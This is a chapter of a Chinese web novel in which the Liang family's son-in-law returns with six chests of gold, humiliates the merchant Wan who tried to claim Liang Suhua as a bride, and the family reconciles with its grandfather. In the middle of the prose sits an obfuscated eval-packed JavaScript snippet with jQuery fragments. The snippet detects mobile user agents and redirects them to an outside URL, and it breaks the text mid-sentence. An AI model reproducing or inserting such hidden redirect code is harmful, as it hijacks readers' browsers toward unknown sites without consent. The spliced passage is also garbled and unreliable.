35. 第三十五章
作品:《娴来恒伴》 梁府大门外。
且说那姓万的是笃定梁家不可能在短短一个半月的时间可以做到东山再起,是故早早带上家丁,又请了好些个朝廷命官一起前来等着看梁家的笑话,周围更是围着许多没事做跑来看热闹的吃瓜百姓。
梁家众人走出大门,看见万家这阵仗,每个人的脸色都相当难看,这欺辱都欺上家门来了。
丁娴朝那个万老板看去,她滴个乖乖,这男人怕是当年女娲造人时捏坏了丢弃在脚边还时不时踩上几脚的残次品吧,能丑的这般令人发指也是他的本事,相比之下他那个智障儿子倒是显得眉清目秀许多,是明眼人看了都会猜测是不是亲生都不好说的那种。
“万老板,咱们约定的时辰未到,您这样做只怕是不妥吧?”梁家发言人吴伯走上前,语气不卑不亢的交涉。
万老板放肆的大笑:“也就差个一炷香的时间不是?早晚咱们都是亲家,总归都是自己人呢,我这提早来祝贺又有何不妥?”
说话间他用绿豆眼打量梁素华,心里想这梁素华尽管是个寡妇又生育了两个孩子,但其美貌和韵味实在令人垂涎,真是便宜他家傻儿子了,不过,只要进了他万家的门,那洞房花烛夜是谁去睡,日后夜夜做新郎的又是谁,谁又知晓呢?
那龌龊的想法毫无遮掩的浮现在那姓万的脸上,看得丁娴瞬间就气血上头,身体刚动,站在她身边的肖恒赶紧抓住她的手臂,抬头看去,肖恒对她摇了摇头。
手臂上传来的温度令她瞬间就冷静和清醒过来,是呀,她丁娴算哪根葱啊,就是要出头轮到谁也轮不到她不是?
没得办法,她只能把梁素华拉到自己身后,不让那姓万的用眼睛玷污梁素华。
这时候肖恒稍稍往前一站,很有技巧的把她也遮挡住。
丁娴抿嘴一笑,对肖恒的体贴心生感激,偷偷探头去看眼前的情形。
梁老爷子沉着老脸不想搭理这个姓万的,偏偏这人丑话还多,自顾自的噼里啪啦的说了一大堆,气得梁老爷子直想用手里的拐棍招呼他。
在嘴皮子上占尽便宜的万老板抬手让家丁点上一炷香,笑得志在必得:“梁老,待这柱香烧完咱们可就真成亲家了,到时候可要记得兑现承诺呀。”
这话一出梁家人是全部黑了脸,丁娴更是气得牙痒痒,她握紧拳头,欺人太甚!
吃瓜百姓交头接耳议论纷纷,还有个说书人现场讲解两家的恩恩怨怨,要说这人不是那姓万的有意安排谁信?
就当下的情势来看,这梁家明显处于下风,明显几乎没有翻身的余地,可看那梁老爷子的神色,只有对万老板的不爽和不屑,并没有丝毫对于就要输掉约定的恼羞成怒或悔恨万分。
丁娴摸着下巴心里嘀咕,这要么是被气疯了破罐子破摔,要么就是留有后手胸有成竹。
思及此,她瞬间来了兴致,隐隐还有些兴奋,甚至忍不住期待的搓手手。
看来整件事情怕是另有隐情,待会儿怕不是就要上演逆风翻盘、反败为胜再加一个请君入瓮。
眼看那柱香就要燃尽,众人紧张的不由自主的屏住呼吸,那边万老板已经叫人着手摆鞭炮,就等着那柱香燃尽之时点炮助兴,整个人红光满面的更像一头成了精的猪,这边梁逸恩是又气又急的直跺脚,恨不得把梁素华偷偷拉走跑路。
就在这时,一阵突兀的清脆的马蹄声越渐越近。
来了!
丁娴没有第一时间去看马,反而双眸发亮的去看梁老爷子,果不其然在他脸上抓住那一瞬而逝的势在必得的笑痕。
“哟,这么多人聚在我梁府门前是作甚呀?”
一个好听沉稳的声音飘了进来,围观的百姓为这声音让开一条路,只见一人一马车缓缓走来,停在梁府门前的一瞬,香燃尽。
这卡点卡的丁娴直想吹个口哨,这操作太骚了呀,她好喜欢!
“哟,这不是万老板嘛!万老板这是从哪儿得知的消息特意前来迎接我的不成?还把鞭炮备好了?这般客气梁某实在不好意思啊。”入赘后冠了妻姓的梁家姑爷梁忠霖跳下马车走到万老板跟前客气中又带着嘲讽的寒暄。
再看那万老板,早在听见梁忠霖声音那一刻就跟见了鬼似的铁青了丑脸,猪头变□□脸,怎么看怎么丑得天怒人怨,看见梁忠霖走到自己跟前更是话都说不利索来:“你、你、你……”你是打哪儿冒出来的!
早前眼线说梁忠霖离开京城,他知道这个人的,若非胸有成竹是万万不可能出现,难不成真就让他东山再起了?这马车里装的难不成都是……
梁忠霖也不急着搭理万老板,他转身朝梁老爷子微微弯腰抱拳,语气恭敬:“爹,女婿不孝,这趟只带回了六箱金条,不过六六大顺也是个好兆头。”说完他抬头直视梁老爷子,两人的双眸里闪烁着只有他们彼此知道的深意。
梁老爷子连哼都懒得哼一声,他的拐棍不轻不重的在地上一敲,示意女婿赶紧收尾。
收到指令的梁忠霖直起身子,先是对着一众家人露出安抚的笑,又挥手让家丁把马车上的六个箱子扛下来摆好,才转身再次走到万老板的身前,语气诚恳:“万老板,我这六箱金条还请过目。”说罢挥手示意家丁把箱子一一打开。
六箱金条啊,金光闪闪的金条啊,众人惊呼,丁娴也满眼离不开金条,这么多的量,这辈子,不,就是上辈子也是头一遭亲眼看见。
百姓被闪瞎双眼,万老板是被闪得虚软了双腿。
“你、你、你是怎么做到的!”万老板无法接受的抓着胸口的衣服面带惊恐的问,整整六箱金条呀,他脚步酿跄,身边的家丁赶紧去扶他。
梁忠霖俊眉一挑,笑了:“万老板,我记得咱们的约定只是一个半月内我能得到可以东山再起的银两算我赢,至于我是这么做到的那是我的事。”换言之,只要他能弄到钱,是偷是盗是抢是借哪怕是捡来的那都是他的本事,更别说商业机密是能随便告诉对手的?这姓万的怕是被又惊又吓的糊涂了。
看万老板铁青的脸,梁忠霖是心情甚好的温柔补刀:“万老板可要记得兑现承诺和约定,在京城最大的酒馆摆上几桌澄清事情始末以及陪酒道歉啥的,还请万老板叫家丁赶紧着手前去安排,时间您定,就是别让我们等太久。”顿了顿,他低头看向满地的鞭炮,脸上笑意更甚,“这些鞭炮,梁某就不客气的笑纳了。”
这边斗败的万公鸡不单是就要到嘴的天鹅肉眼睁睁的飞走,还要丢人的兑现承诺陪酒道歉供人耻笑,简直是丢脸到了极点,本以为是算计了梁家,到头来竟是被梁家反将一军,万老板越想胸口越闷,差点一口气没喘上一命呜呼;那边原是陪同来看梁家笑话的朝廷命官个个都是人精,这会儿全都见风使舵的赶着上前同梁忠霖寒暄,并相约有时间聚一聚看看有没有什么可以合作的生意。
眼见大势已去,万老板想趁着梁忠霖被那几个朝廷命官团团围住的时候悄悄溜走,哪知道那姓梁的眼睛实在是尖,他才转身走两步就听见那人在身后对他说:“万老板不送了啊,还请记得早些安排酒席,我们定会准时赴宴。”
丢尽颜面的万老板袖子一挥,在吃瓜百姓的指指点点和嘲笑中气急败坏的疾步离去,一同前来的万家家丁见状,赶紧跟着小跑而去,还真没敢把地上的鞭炮一起带走。
梁老爷子满意的点头,他唤了女婿一声,让他与吴伯一同留下处理首尾,自己则率着一家老小进府去等。
肖恒原想就此告辞,丁娴眼疾手快的扯着他的衣袖可怜巴巴的请他留下。
开玩笑,这里既没有手机也没有什么她知晓的联络方式,把人放走了,这人海茫茫她去哪里寻他,更别说她还有想要继续麻烦他的事情。
梁素华也强邀肖恒留下,她还没得好好跟他道谢。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15021585|162196||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
盛情难却,肖恒只好与他们一同走进梁府。
处理好一切的梁忠霖刚踏进前厅就发现里面的氛围异常尴尬,坐着的人除了梁老爷子和肖恒,全都低垂着脑袋,安静的不像话,除了他岳父喝茶的声音,就是大家小心翼翼的呼吸声。
更别说他家夫人及儿女脸上那明显的心虚和羞愧。
就在刚刚吴伯与他说了外孙的事情,此时此刻他强忍着看见外孙的激动,理智的决定先解开妻儿对岳父的误会。
有一说一,整件事情的最初确实是因为梁老爷子的大意和糊涂自己跳进姓万的设下的陷阱,可如今事情之所以能完满的解决也是他让梁忠霖去寻得一位曾经被他相救过的朋友帮忙,因此可以说是功过相抵。
至于打赌输了是不是真把梁素华送去给人家智障儿子当媳妇这件事,梁老爷子是真的动怒了,他老人家想念自己外孙女知道她成了寡妇心疼之下又不好意思拉下脸开口让人回家不行啊,他不过是想将计就计,一来可以反将那姓万的一军,二来以此为借口把梁素华接回家,谁晓得这群小兔崽子怎么就敢把他想的这般恶毒这么坏,他是这种人吗?这群不肖子孙怕是真想气死他好分家产!
知道是自己的想法太过小人之心而误会了梁老爷子,在座的各位都自觉无颜面对他,一个个的头都不敢抬,跟鹌鹑一样。
最后还是梁忠霖站出来笑呵呵的打圆场:“一家人哪来的隔夜仇,素华,听说那天你还跟外公吵了一架,来,赶紧道个歉。”
梁素华也是个知错能改的好孩子,既然错在自己她就敢认错,于是站起来走到梁老爷子的跟前跪下认错:“是我误会了外公,对不起。”
梁老爷子看着梁素华,自然是心疼比生气多,到底是从小看着长大的孩子,以前怎么疼都嫌不够的孩子,当年她为爱私奔他是真的动了怒,可也就嘴上说着断绝关系哪里舍得做真,如今知道她死了丈夫自己带着一双儿女清苦度日早就想把他们接回来,也知道这孩子的性子跟自己一样犟,若是明说她一定不回来,便想着将计就计先把人骗回来再说,结果梁逸恩这臭小子把他跟吴伯在书房里的对话听一半不听一半的自以为是的猜疑搞得误会越来越大,他也懒得解释,怎么着,他们能气他,他还不能吓他们了?
梁老爷子清清嗓子应了一声:“如今回家了就别走了。”
闻言梁素华抬头看着他又惊又喜的问:“外公……您不是放话与我断绝关系了?”
梁老爷子双眼一瞪,冷哼一声:“以前小时候也没见你这么听话过,怎么那次我随口一说你就记到了今日?”
见状,最高兴的当属梁念之夫妇,他们拉着丁娴姐弟一起走到梁老爷子跟前叫人。
丁娴也是通情达理的人,一边暗自笑骂便宜小舅的不靠谱一边对这梁老爷子刮目相看。现在弄清楚事情的始末,本就三观跟着五官走的她对这便宜祖父更是生出敬佩之心,尤其他救人这件事,随手一救得了个忠心耿耿的混过军营的吴伯,又随手一救得了个愿意献出六箱金条让他度过难关的地方首富朋友,这本事这运气,实在令她敬佩得五体投地。不晓得改日她去山上转转能不能也随手救得一只成精的狐狸?
梁家人开开心心的认了亲,梁念之夫妇和梁逸恩看着丁娴和丁文川,议论着两个孩子长得更像谁,梁逸恩大言不惭的表示像他,不都说外甥像舅吗?
梁老爷子没有参与,他眉开眼笑的问起了肖恒。
肖恒对梁老爷子抱拳,不卑不亢道:“在下肖恒。”
梁忠霖琢磨了一会笑着问他:“可是肖府家的长孙,肖志舟之子?”
梁素华冷哼:“可不就是他。”
肖恒也不否认,微笑着点头。
站在一旁的丁娴眼珠子转了转,肖恒是肖府家的长孙?
她去……妥妥的富三代啊,这条大腿必须抱紧了。